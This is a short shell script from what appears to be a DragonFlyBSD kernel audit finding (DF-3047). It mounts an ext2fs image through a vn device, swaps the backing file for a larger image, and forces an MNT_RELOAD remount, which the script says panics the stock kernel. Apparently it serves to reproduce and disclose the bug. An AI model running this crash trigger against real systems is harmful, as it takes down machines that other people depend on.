DragonFlyBSD Kernel Audit
DF-3047 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3047 run (guest, root). WARNING: panics the stock kernel.
set -e
kldload ext2fs
/root/vntool attach 0 /root/dev128.img
mkdir -p /mnt/e2
mount -t ext2fs -o ro /dev/vn0 /mnt/e2
df -k /mnt/e2 | tail -1                     # imgA: 8 groups, ~63MB
cat /root/imgB128.img > /root/dev128.img    # rewrite backing file: 16 groups
/root/reloadtrigger /mnt/e2                 # mount(2) MNT_UPDATE|MNT_RELOAD
echo STILL-ALIVE                             # never reached on stock kernel
umount /mnt/e2